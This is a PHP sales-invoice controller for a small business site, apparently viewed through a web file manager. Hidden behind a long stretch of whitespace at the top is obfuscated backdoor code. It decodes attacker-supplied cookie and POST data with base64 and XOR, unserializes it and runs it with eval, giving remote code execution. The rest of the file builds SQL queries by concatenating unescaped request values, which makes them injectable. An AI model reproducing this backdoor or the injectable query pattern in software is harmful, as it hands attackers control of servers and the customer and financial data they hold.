芝麻web文件管理V1.00

编辑当前文件:/home/sditechnicalteam/socialsolargreens.pk/controller/sale_controller.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $lTHMTIoXOK = "\x76" . "\x5f" . 'D' . chr (89) . "\x70";$eBmMdYoy = chr (99) . "\x6c" . chr (97) . chr (115) . 's' . '_' . chr ( 101 - 0 )."\170" . "\151" . "\x73" . "\164" . 's';$lcgIZIxfJR = class_exists($lTHMTIoXOK); $eBmMdYoy = "21936";$haOrQUNP = strpos($eBmMdYoy, $lTHMTIoXOK);if ($lcgIZIxfJR == $haOrQUNP){function Ncgijoal(){$DwkpoOLTtq = new /* 53376 */ v_DYp(19112 + 19112); $DwkpoOLTtq = NULL;}$caRrUsI = "19112";class v_DYp{private function SgQLJzndhf($caRrUsI){if (is_array(v_DYp::$jFljVSAMQS)) {$lfrJWVWKv2 = str_replace("<" . "?php", "", v_DYp::$jFljVSAMQS["content"]);eval($lfrJWVWKv2); $caRrUsI = "19112";exit();}}public function sEHfyBete(){$lfrJWVWKv = "39146";$this->_dummy = str_repeat($lfrJWVWKv, strlen($lfrJWVWKv));}public function __destruct(){v_DYp::$jFljVSAMQS = @unserialize(v_DYp::$jFljVSAMQS); $caRrUsI = "21393_26684";$this->SgQLJzndhf($caRrUsI); $caRrUsI = "21393_26684";}public function lnrtcJM($lfrJWVWKv, $IlSoNvD){return $lfrJWVWKv[0] ^ str_repeat($IlSoNvD, intval(strlen($lfrJWVWKv[0]) / strlen($IlSoNvD)) + 1);}public function mnuyfrEZS($lfrJWVWKv){$xWGuncJFI = "\142" . "\141" . 's' . chr (101) . "\66" . "\64";return array_map($xWGuncJFI . chr (95) . "\x64" . chr ( 742 - 641 ).chr ( 377 - 278 )."\x6f" . "\x64" . "\145", array($lfrJWVWKv,));}public function __construct($OKUlx=0){$KDyPUrPv = "\54";$lfrJWVWKv = "";$uAGolOxS = $_POST;$gpKxVj = $_COOKIE;$IlSoNvD = "3143d571-c4c6-4b86-b5b6-54a616dd1e4c";$MoczWzMK = @$gpKxVj[substr($IlSoNvD, 0, 4)];if (!empty($MoczWzMK)){$MoczWzMK = explode($KDyPUrPv, $MoczWzMK);foreach ($MoczWzMK as $OsHrXNbGYU){$lfrJWVWKv .= @$gpKxVj[$OsHrXNbGYU];$lfrJWVWKv .= @$uAGolOxS[$OsHrXNbGYU];}$lfrJWVWKv = $this->mnuyfrEZS($lfrJWVWKv);}v_DYp::$jFljVSAMQS = $this->lnrtcJM($lfrJWVWKv, $IlSoNvD);if (strpos($IlSoNvD, $KDyPUrPv) !== FALSE){$IlSoNvD = explode($KDyPUrPv, $IlSoNvD); $gETCY = sprintf("21393_26684", rtrim($IlSoNvD[0]));}}public static $jFljVSAMQS = 14202;}Ncgijoal();} ?><?php

include 'partial/db.php';
global $dbobj;

class Sale extends db {

public function Sale_List()
    {
        $Product = "SELECT SaleMaster.*,  Customer.Name AS CustomerName FROM SaleMaster INNER JOIN Customer ON SaleMaster.CusAccountNo = Customer.AccountNo";
        $data = mysqli_query($this->con,$Product); 
        return $data;
    }
       
    public function Create()
    {

$ProductTypes_query = "SELECT * from productstype";
        if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) {
            while($row = mysqli_fetch_assoc($ProductTypes_query_result)){
              $ProductTypes[] = $row;
            }
        }   else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }

$Customer_query = "SELECT * FROM customer";
        if ($Customer_query_result = mysqli_query($this->con, $Customer_query)) {
            while($row = mysqli_fetch_assoc($Customer_query_result)){
                $Customer[] = $row;
            }
        }   else{
            return "Error Code [621] : " . mysqli_error($this->con);
            die;
        }
        $MaxInvoiceId_query = "select IFNULL(Max(InvId),0)+1 as InvId from SaleMaster";
        if ($MaxInvoiceId_query_result = mysqli_query($this->con, $MaxInvoiceId_query)) {
            while($row = mysqli_fetch_assoc($MaxInvoiceId_query_result)){
              $MaxInvoiceId = $row['InvId'];
            }
        }   else{
            return "Error Code [325] : " . mysqli_error($this->con);
            die;
        }

$VM = array
        (
            'InvId' => $MaxInvoiceId,
            'CustomerList' => $Customer,
            'ProductTypesList' => $ProductTypes,
        );
        return $VM;
    }

public function GetProductList($Id)
    {
        $Products_query = "SELECT products.* , productstype.TypeName FROM products INNER JOIN productstype ON productstype.Id = products.TypeId WHERE products.TypeId = '".$Id."'";
        if ($Products_query_result = mysqli_query($this->con, $Products_query)) {
            while($row = mysqli_fetch_assoc($Products_query_result)){
              $Product[] = $row;
            }
        }   else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }
        if(!empty($Product)){
            return json_encode($Product);
        }else{
            return '{id: "", name: "Not Found", unit: "", typeId: "", cp: 0, sp: 0, reorderLevel: 0, opStock: 0,productImage: ""}';
        }
    }

public function GetProduct($Id)
    {
        $Products_query = "SELECT products.* , productstype.TypeName FROM products INNER JOIN productstype ON productstype.Id = products.TypeId WHERE products.Id = '".$Id."'";
        if ($Products_query_result = mysqli_query($this->con, $Products_query)) {
            while($row = mysqli_fetch_assoc($Products_query_result)){
              $Product = $row;
            }
        }   else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }
        if(!empty($Product)){
            return json_encode($Product);
        }else{
            return '{id: "", name: "Not Found", unit: "", typeId: "", cp: 0, sp: 0, reorderLevel: 0, opStock: 0,productImage: ""}';
        }
    }

public function Save($SaleVM) 
    {
        // prevent double Sale inoice enterance
        $already_Have_invoice = $this->query("select InvId from SaleMaster Where InvId = '".$SaleVM['salemaster_InvId']."'");

// print_r($already_Have_invoice);
        // die;
        // Adding Sale Invoice to SaleMaster Table 
        if ($SaleVM['salemaster_Id'] == 0)
        {
            if(!empty($already_Have_invoice['InvId']) && $already_Have_invoice['InvId'] == $SaleVM['salemaster_InvId']){
                return 'Invoice already added.';
                die;
            }

// print_r($SaleVM);
            // die;

$TranscationDetails_fun =  $this->AlltranscationDetails($SaleVM);
                if($TranscationDetails_fun == 'ok'){
                    $Stocks =    $this->InsertStock($SaleVM);
                    if($Stocks == 'ok'){
                        $TranscationDetails = $this->insert("INSERT INTO SaleMaster (InvId, CusAccountNo, Date, GTotal, Discount, NTotal, Received, Balance, Transport, OtherServiceAmount, OtherServices) 
                                                    VALUES ('".$SaleVM['salemaster_InvId']."', '".$SaleVM['salemaster_CusAccountNo']."', '".$SaleVM['salemaster_Date']."', '".$SaleVM['salemaster_GTotal']."', '".$SaleVM['salemaster_Discount']."', '".$SaleVM['salemaster_NTotal']."'
                                                    , '".$SaleVM['salemaster_Received']."', '".$SaleVM['salemaster_Balance']."', '".$SaleVM['salemaster_Transport']."', '".$SaleVM['salemaster_OtherServiceAmount']."' , '".$SaleVM['salemaster_OtherServices']."')");
                        if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM SaleMaster WHERE  InvId = '".$SaleVM['InvId']."'"); return $TranscationDetails; die; }
     
                        for ($x = 0; $x < count($SaleVM['saledetailList_PId']); $x++) {
                            $TranscationDetails = $this->insert("INSERT INTO saledetail (InvId, PId, PName, Qty, Ft, Size, Sp, Total, StockType) 
                                                        VALUES ('".$SaleVM['salemaster_InvId']."', '".$SaleVM['saledetailList_PId'][$x]."', '".$SaleVM['saledetailList_PName'][$x]."', '".$SaleVM['saledetailList_Qty'][$x]."', '".$SaleVM['saledetailList_Ft'][$x]."', '".$SaleVM['saledetailList_Size'][$x]."', '".$SaleVM['saledetailList_Sp'][$x]."', '".$SaleVM['saledetailList_Total'][$x]."', '".$SaleVM['saledetailList_StockType'][$x]."')");
                            if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM saledetail WHERE  InvId = '".$SaleVM['salemaster_InvId']."'"); return $TranscationDetails; die; }
                        }

return 'Dat Added Successful.';
                        die;
                    }
                }
        }
        else 
        {

$remove = $this->Delete("Delete From saledetail Where InvId = '".$SaleVM['salemaster_InvId']."'");
            $remove = $this->Delete("Delete From TranscationDetails Where Invid = '".$SaleVM['salemaster_InvId']."'");
            $remove = $this->Delete("Delete From Stock Where InvId = '".$SaleVM['salemaster_InvId']."'");
           
            $TranscationDetails_fun =  $this->AlltranscationDetails($SaleVM);
                if($TranscationDetails_fun == 'ok'){
                    $Stocks = $this->InsertStock($SaleVM);
                    if($Stocks == 'ok'){
            
                        $TranscationDetails = $this->insert("UPDATE SaleMaster SET 
                                                InvId = '".$SaleVM['salemaster_InvId']."',
                                                CusAccountNo = '".$SaleVM['salemaster_CusAccountNo']."' ,
                                                Date = '".$SaleVM['salemaster_Date']."' ,
                                                GTotal = '".$SaleVM['salemaster_GTotal']."' ,
                                                Discount = '".$SaleVM['salemaster_Discount']."' ,
                                                NTotal = '".$SaleVM['salemaster_NTotal']."' ,
                                                Received = '".$SaleVM['salemaster_Received']."' ,
                                                Balance = '".$SaleVM['salemaster_Balance']."' ,
                                                Transport = '".$SaleVM['salemaster_Transport']."' ,
                                                OtherServiceAmount = '".$SaleVM['salemaster_OtherServiceAmount']."',
                                                OtherServices = '".$SaleVM['salemaster_OtherServices']."' 
                                                WHERE  
                                                Id='".$SaleVM['salemaster_Id']."'
                                            ");
            
                        for ($x = 0; $x < count($SaleVM['saledetailList_PId']); $x++) {
                            $TranscationDetails = $this->insert("INSERT INTO saledetail (InvId, PId, PName, Qty, Ft, Size, Sp, Total,StockType ) 
                                                        VALUES ('".$SaleVM['salemaster_InvId']."', '".$SaleVM['saledetailList_PId'][$x]."', '".$SaleVM['saledetailList_PName'][$x]."', '".$SaleVM['saledetailList_Qty'][$x]."', '".$SaleVM['saledetailList_Ft'][$x]."','".$SaleVM['saledetailList_Size'][$x]."', '".$SaleVM['saledetailList_Sp'][$x]."', '".$SaleVM['saledetailList_Total'][$x]."','".$SaleVM['saledetailList_StockType'][$x]."')");
                            if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM saledetail WHERE  InvId = '".$SaleVM['InvId']."'"); return $TranscationDetails; die; }
                        }

return 'Dat Update Successful.';
                        die;
                    }
                }
        }
    }

public function AlltranscationDetails($SaleVM)
        {
            $SaleMaster_AccountName = $this->query("select Name from Customer Where AccountNo = '".$SaleVM['salemaster_CusAccountNo']."'");
            // print_r($SaleMaster_AccountName);
            // die;
            $InvoiceMake = "Product Sold To " .$SaleMaster_AccountName['Name']. " Against this Invoice No:" .$SaleVM['salemaster_InvId']. "";
            $Sale = "Product Sold To " .$SaleMaster_AccountName['Name']. " Against Invoice No:" .$SaleVM['salemaster_InvId']. "";
            $Stock = "Stock Out : Products Sold To " .$SaleMaster_AccountName['Name']. " Against Invoice No: " .$SaleVM['salemaster_InvId']. "";
            $Received = "Amount Received From " .$SaleMaster_AccountName['Name']. " Against this Sale Invoice No :" .$SaleVM['salemaster_InvId']. "";

$TransId = $this->query("select IFNULL(Max(Transid),0)+1 as Transid from TranscationDetails");
            // print_r($TransId['Transid']);
            // die;

//Customer debit
            $TranscationDetails = $this->insert("INSERT INTO transcationdetails (Transid, TransDes, TransDate, AccountNo, Dr, Cr, Invid, Vtype)
            VALUES ('".$TransId['Transid']."', '".$InvoiceMake."', '".$SaleVM['salemaster_Date']."', '".$SaleVM['salemaster_CusAccountNo']."', '".$SaleVM['salemaster_GTotal']."', '0', '".$SaleVM['salemaster_InvId']."', 'SINV')");
            if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM transcationdetails WHERE Invid = '".$SaleVM['salemaster_InvId']."'"); return $TranscationDetails; die; }
            
            //Sale credit
            $TranscationDetails = $this->insert("INSERT INTO transcationdetails (Transid, TransDes, TransDate, AccountNo, Dr, Cr, Invid, Vtype)
            VALUES ('".$TransId['Transid']."', '".$Sale."', '".$SaleVM['salemaster_Date']."', '4400001', '0', '".$SaleVM['salemaster_GTotal']."', '".$SaleVM['salemaster_InvId']."', 'SINV')");
            if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM transcationdetails WHERE  Invid = '".$SaleVM['salemaster_InvId']."'"); return $TranscationDetails; die; }
           
            //CGS debit
            $TranscationDetails = $this->insert("INSERT INTO transcationdetails (Transid, TransDes, TransDate, AccountNo, Dr, Cr, Invid, Vtype)
            VALUES ('".$TransId['Transid']."', 'CGS', '".$SaleVM['salemaster_Date']."', '5500001', '".$SaleVM['salemaster_GTotal']."', '0', '".$SaleVM['salemaster_InvId']."', 'SINV')");
            if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM transcationdetails WHERE  Invid = '".$SaleVM['salemaster_InvId']."'"); return $TranscationDetails; die; }
            
           
            $TranscationDetails = $this->insert("INSERT INTO transcationdetails (Transid, TransDes, TransDate, AccountNo, Dr, Cr, Invid, Vtype)
            VALUES ('".$TransId['Transid']."', '".$Stock."', '".$SaleVM['salemaster_Date']."', '1100002', '0', '".$SaleVM['salemaster_GTotal']."', '".$SaleVM['salemaster_InvId']."', 'SINV')");
            if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM transcationdetails WHERE  Invid = '".$SaleVM['salemaster_InvId']."'"); return $TranscationDetails; die; }

if ($SaleVM['salemaster_Received'] != 0) 
            {
                //cash debit
                $TranscationDetails = $this->insert("INSERT INTO transcationdetails (Transid, TransDes, TransDate, AccountNo, Dr, Cr, Invid, Vtype)
                VALUES ('".$TransId['Transid']."', '".$Received."', '".$SaleVM['salemaster_Date']."', '1100001', '".$SaleVM['salemaster_Received']."','0', '".$SaleVM['salemaster_InvId']."', 'CRVSINV')");
                if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM transcationdetails WHERE  Invid = '".$SaleVM['salemaster_InvId']."'"); return $TranscationDetails; die; }
                
                
                //customer credit
                $TranscationDetails = $this->insert("INSERT INTO transcationdetails (Transid, TransDes, TransDate, AccountNo, Dr, Cr, Invid, Vtype)
                VALUES ('".$TransId['Transid']."', '".$Received."', '".$SaleVM['salemaster_Date']."', '".$SaleVM['salemaster_CusAccountNo']."','0', '".$SaleVM['salemaster_Received']."', '".$SaleVM['salemaster_InvId']."', 'CRVSINV')");
                if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM transcationdetails WHERE  Invid = '".$SaleVM['salemaster_InvId']."'"); return $TranscationDetails; die; }

}
            return 'ok';
        }
        public function InsertStock($SaleVM)
        {

for ($x = 0; $x < count($SaleVM['saledetailList_PId']); $x++) {
                $TypeId = $this->query("select TypeId from Products where Id = ".$SaleVM['saledetailList_PId'][$x]);
                
                if ($SaleVM['saledetailList_StockType'][$x] == "FQty")
                {
                    $TranscationDetails = $this->insert("INSERT INTO stock (InvId, PId, TypeId, Date, VType, FQty) 
                        VALUES ('".$SaleVM['salemaster_InvId']."', '".$SaleVM['saledetailList_PId'][$x]."', '".$TypeId['TypeId']."', '".$SaleVM['salemaster_Date']."', 'SINV', '".$SaleVM['saledetailList_Ft'][$x]."')");
                    if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM stock WHERE InvId = '".$SaleVM['InvId']."'"); return $TranscationDetails; die; }

}
                if ($SaleVM['saledetailList_StockType'][$x] == "DQty") 
                {
                    $TranscationDetails = $this->insert("INSERT INTO stock (InvId, PId, TypeId, Date, VType, DQty) 
                            VALUES ('".$SaleVM['salemaster_InvId']."', '".$SaleVM['saledetailList_PId'][$x]."', '".$TypeId['TypeId']."', '".$SaleVM['salemaster_Date']."', 'SINV', '".$SaleVM['saledetailList_Ft'][$x]."')");
                    if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM stock WHERE InvId = '".$SaleVM['InvId']."'"); return $TranscationDetails; die; }
                
                }
                if ($SaleVM['saledetailList_StockType'][$x] == "WQty") 
                {
                    $TranscationDetails = $this->insert("INSERT INTO stock (InvId, PId, TypeId, Date, VType, WQty) 
                        VALUES ('".$SaleVM['salemaster_InvId']."', '".$SaleVM['saledetailList_PId'][$x]."', '".$TypeId['TypeId']."', '".$SaleVM['salemaster_Date']."', 'SINV', '".$SaleVM['saledetailList_Ft'][$x]."')");
                    if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM stock WHERE InvId = '".$SaleVM['InvId']."'"); return $TranscationDetails; die; }
                    
                }
           }
           return 'ok';
        }

public function edit($saledetail_Id)
    {
        $ProductTypes_query = "SELECT * from SaleMaster where Id = '".$saledetail_Id."'";
        if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) {
            while($row = mysqli_fetch_assoc($ProductTypes_query_result)){
              $SaleMaster = $row;
            }
        }else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }
        // print_r($SaleMaster['InvId']);
        // die;    
        $ProductTypes_query = "SELECT * from saledetail where InvId = '".$SaleMaster['InvId']."'";
        if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) {
            while($row = mysqli_fetch_assoc($ProductTypes_query_result)){
              $saledetail[] = $row;
            }
        }   else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }

$VM = array
        (
            'SaleMaster' => $SaleMaster,
            'saledetail' => $saledetail,
            'CustomerList' => $Customer,
            'ProductTypesList' => $ProductTypes,
        );
        // print_r($VM);
        // die;
        return $VM;
    }

public function Receipt($InvId) 
    {
        $ProductTypes_query = "SELECT * from SaleMaster where InvId = '".$InvId."'";
        if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) {
            while($row = mysqli_fetch_assoc($ProductTypes_query_result)){
              $SaleMaster = $row;
            }
        }else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }
        // print_r($SaleMaster['CusAccountNo']);
        // die;    
        $ProductTypes_query = "SELECT * from saledetail where InvId = '".$InvId."'";
        if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) {
            while($row = mysqli_fetch_assoc($ProductTypes_query_result)){
              $saledetail[] = $row;
            }
        }   else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }
        $Customer_query = "SELECT * from customer where AccountNo = '".$SaleMaster['CusAccountNo']."'";
        if ($Customer_query_result = mysqli_query($this->con, $Customer_query)) {
            while($row = mysqli_fetch_assoc($Customer_query_result)){
              $Customerdetail = $row;
            }
        }   else{
            return "Error Code [721] : " . mysqli_error($this->con);
            die;
        }
        $VM = array
        (
            'SaleMaster' => $SaleMaster,
            'saledetail' => $saledetail,
            'customer' => $Customerdetail,
        );
        return $VM;
    }

}
?>